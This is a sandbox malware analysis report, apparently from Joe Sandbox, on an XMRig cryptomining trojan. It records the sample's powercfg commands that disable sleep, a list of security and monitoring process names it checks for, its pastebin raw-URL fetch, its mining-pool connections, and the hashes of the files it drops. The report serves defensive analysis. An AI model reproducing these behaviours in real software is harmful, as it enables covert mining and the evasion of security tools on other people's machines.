Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior

Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MCSHIELD.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avguard.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cfp.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: msmpeng.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Autoruns.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVENGINE.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aswupdsv.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avkwctl.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fsav32.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ZLCLIENT.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ashServ.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ashwebsv.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xcommsvr.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Procmon.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fsdfwd.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mbam.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	11 Windows Service	11 Windows Service	1 Masquerading	OS Credential Dumping	321 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Service Execution	1 DLL Side-Loading	311 Process Injection	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	13 System Information Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	3 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nlGOh9K5X5.exe	74%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	74%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\Temp\amhsyemgqpki.sys	5%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
xmr-eu1.nanopool.org	51.15.58.224	true	false		high
pastebin.com	172.67.19.24	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/Cs3YCuXT	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/Cs3YCuXTF	explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xmrig.com/docs/algorithms	mfpmikspvfzi.exe, 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
51.15.193.130	unknown	France	12876	OnlineSASFR	true
172.67.19.24	pastebin.com	United States	13335	CLOUDFLARENETUS	false
51.89.23.91	unknown	France	16276	OVHFR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570395
Start date and time:	2024-12-06 22:45:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	63
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nlGOh9K5X5.exe renamed because original name is a hash value
Original Sample Name:	aca4c0d0dc6f260200ea503a5ce8b370f482044253613142efcdebe5fd92a9f3.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@81/12@2/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mfpmikspvfzi.exe, PID 7108 because it is empty
Execution Graph export aborted for target nlGOh9K5X5.exe, PID 6664 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: nlGOh9K5X5.exe

Simulations

Behavior and APIs

Time	Type	Description
16:45:59	API Interceptor	1x Sleep call for process: nlGOh9K5X5.exe modified
16:46:00	API Interceptor	38x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51.15.193.130	NH95Vhokye.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	HmA7s2gaa5.exe	Get hash	malicious	Xmrig	Browse
	Yf4yviDxwF.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe	Get hash	malicious	Vidar, Xmrig	Browse
	updater.exe	Get hash	malicious	Xmrig	Browse
	upw82ArDKW.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Xmrig	Browse
	1DI50gCNGQ.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Vidar, Xmrig	Browse
	BIHRaOeReG.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Xmrig	Browse
172.67.19.24	sys_upd.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_menu..ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm2.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_phshop..ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	VvPrGsGGWH.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	pastebin.com/raw/sA04Mwk2
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	xK44OOt7vD.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	pastebin.com/raw/sA04Mwk2
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
51.89.23.91	6xQ8CMUaES.exe	Get hash	malicious	Xmrig	Browse
	4o8Tgrb384.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe	Get hash	malicious	Xmrig	Browse
	eqkh9g37Yb.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	cJ6xbAA5Rn.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	vortex.ps1	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	104.20.3.235
	MicrosoftScript.ps1	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	172.67.19.24
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.3.235
	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.19.24
	asegurar.vbs	Get hash	malicious	Unknown	Browse	104.20.4.235
	crypted_LummaC2.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.19.24
	crypted_LummaC2 (3).exe	Get hash	malicious	LummaC Stealer	Browse	172.67.19.24
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.20.4.235
	segura.vbs	Get hash	malicious	Unknown	Browse	104.20.3.235
xmr-eu1.nanopool.org	LfHJdrALlh.exe	Get hash	malicious	Xmrig	Browse	51.15.58.224
	rLaC8kO1rD.exe	Get hash	malicious	Xmrig	Browse	51.15.65.182
	6xQ8CMUaES.exe	Get hash	malicious	Xmrig	Browse	51.89.23.91
	4o8Tgrb384.exe	Get hash	malicious	Xmrig	Browse	51.15.65.182
	rtYpMDeKUq.exe	Get hash	malicious	Xmrig	Browse	51.89.23.91
	NH95Vhokye.exe	Get hash	malicious	Xmrig	Browse	54.37.137.114
	ahlntQUj2t.exe	Get hash	malicious	Xmrig	Browse	54.37.232.103
	file.exe	Get hash	malicious	Xmrig	Browse	163.172.154.142
	HmA7s2gaa5.exe	Get hash	malicious	Xmrig	Browse	162.19.224.121
	12Jh49DCAj.exe	Get hash	malicious	Xmrig	Browse	51.15.65.182

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OnlineSASFR	LfHJdrALlh.exe	Get hash	malicious	Xmrig	Browse	51.15.58.224
	l64.elf	Get hash	malicious	Xmrig	Browse	51.158.204.249
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse	163.172.240.109
	EHak.exe	Get hash	malicious	Unknown	Browse	62.210.124.132
	EHak.exe	Get hash	malicious	Unknown	Browse	62.210.124.132
	teste.i686.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	51.158.21.23
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	51.158.232.110
	rLaC8kO1rD.exe	Get hash	malicious	Xmrig	Browse	212.47.253.124
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Xmrig	Browse	163.172.171.111
	file.exe	Get hash	malicious	Xmrig	Browse	163.172.171.111
CLOUDFLARENETUS	Fw Your flight has been cancelled.eml	Get hash	malicious	Unknown	Browse	104.17.247.203
	https://login.officeteam.didgim.com/factpath/resources/patch/047620476204762098/?tpj=PlKRhyZP6wwT3cO_YX5-vBD5GuXYTvvU?SehS24G3uU3qw64njI8IZH7gQJoi5rbp7C2uDZbPGel89LOXSbLkxzcBkcMiAnricyOgDlVZzgK16brTMbOGyuYoLIN4U0HH714J	Get hash	malicious	ReCaptcha Phish	Browse	104.16.124.96
	Distribution Agreement -21_12_48-December 6, 2024-be1f31b3a4b24beb88d27adfd723203e.pdf	Get hash	malicious	Unknown	Browse	1.1.1.1
	Doc_21-04-53.js	Get hash	malicious	Matanbuchus	Browse	104.21.40.3
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	Unknown	Browse	104.21.16.114
	Doc_21-04-53.js	Get hash	malicious	Matanbuchus	Browse	104.21.40.3
	https://wrx.dzpvwobr.ru/	Get hash	malicious	Unknown	Browse	172.67.211.61
	https://www.google.ca/url?q=1120091333775300779273902563687390256368&rct=11200913337753007792&sa=t&url=amp/s/elanpro.net/horeca/dispenc#YnJ1bml0YS5kdW5jYW5AcGFydG5lcnNtZ3UuY29t	Get hash	malicious	HTMLPhisher	Browse	104.26.9.44
	https://villageforddearborn-my.sharepoint.com/:b:/g/personal/robert_wheat_villageford_net/EaAilHqK5PhBneaYfVtjii0ByKmI10BU9zhQ73pqIHj-uQ?e=FnQ6KL	Get hash	malicious	Unknown	Browse	104.18.95.41
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
OVHFR	jew.arm6.elf	Get hash	malicious	Unknown	Browse	46.105.173.201
	jew.mpsl.elf	Get hash	malicious	Unknown	Browse	51.222.237.209
	https://rnicrosoft-secured-office.squarespace.com/sharepoint?e=test@test.com.au	Get hash	malicious	HTMLPhisher	Browse	91.134.10.168
	https://i.postimg.cc/y6hBTtv7/png-Hand-SAward.png	Get hash	malicious	HTMLPhisher	Browse	46.105.222.162
	i686.elf	Get hash	malicious	Unknown	Browse	8.18.152.72
	na.elf	Get hash	malicious	Unknown	Browse	87.98.205.41
	2zirzlMVqX.bat	Get hash	malicious	Xmrig	Browse	51.89.217.80
	main_x86.elf	Get hash	malicious	Mirai	Browse	151.80.169.13
	https://vacilandoblog.wordpress.com/2015/04/22/a-tribute-to-my-mother-in-law-rest-in-peace-april-22-2015/	Get hash	malicious	Unknown	Browse	5.196.111.73
	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse	51.89.9.254

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\amhsyemgqpki.sys	LfHJdrALlh.exe	Get hash	malicious	Xmrig	Browse
	iKvzvknzW1.exe	Get hash	malicious	Xmrig	Browse
	2zirzlMVqX.bat	Get hash	malicious	Xmrig	Browse
	DM6vAAgoCw.exe	Get hash	malicious	Orcus, Xmrig	Browse
	f5TWdT5EAc.exe	Get hash	malicious	Phorpiex, RHADAMANTHYS, Xmrig	Browse
	luQ2wBh8q6.exe	Get hash	malicious	Xmrig	Browse
	lokigod.exe	Get hash	malicious	Xmrig	Browse
	nfkciRoR4j.exe	Get hash	malicious	Xmrig	Browse
	File.exe	Get hash	malicious	Orcus, Xmrig	Browse
	rLaC8kO1rD.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe

Download File

Process:	C:\Users\user\Desktop\nlGOh9K5X5.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7198720
Entropy (8bit):	6.50791529944184
Encrypted:	false
SSDEEP:	196608:RLtecVgZlN3f+OvbCJLfuufYst5BpS7M4F:R/V0v+Ov+R2ufpk73F
MD5:	6369AD2A31D25FA131268F312B0C9D03
SHA1:	3560BBB24D688B8356615077FF8509D3FB438E05
SHA-256:	ACA4C0D0DC6F260200EA503A5CE8B370F482044253613142EFCDEBE5FD92A9F3
SHA-512:	BCB3082810B809E7B2C733A6A5E4ACE79C30116854A546A3E92D76806059E3D097090B5D924E93BBACF51105E70E6385579BB01FA7D1C590B53F934F426656B6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....:g.........."..........Bm.....@..........@.............................Pn.......m...`.....................................................<....0m.......m..............@n.x...............................(.......8...............X............................text...f........................... ..`.rdata..<$.......&..................@..@.data.....l.......l.................@....pdata........m.......l.............@..@.00cfg........m.......l.............@..@.tls......... m.......l.............@....rsrc........0m.......l.............@..@.reloc..x....@n.......m.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5mxaiwer.daq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
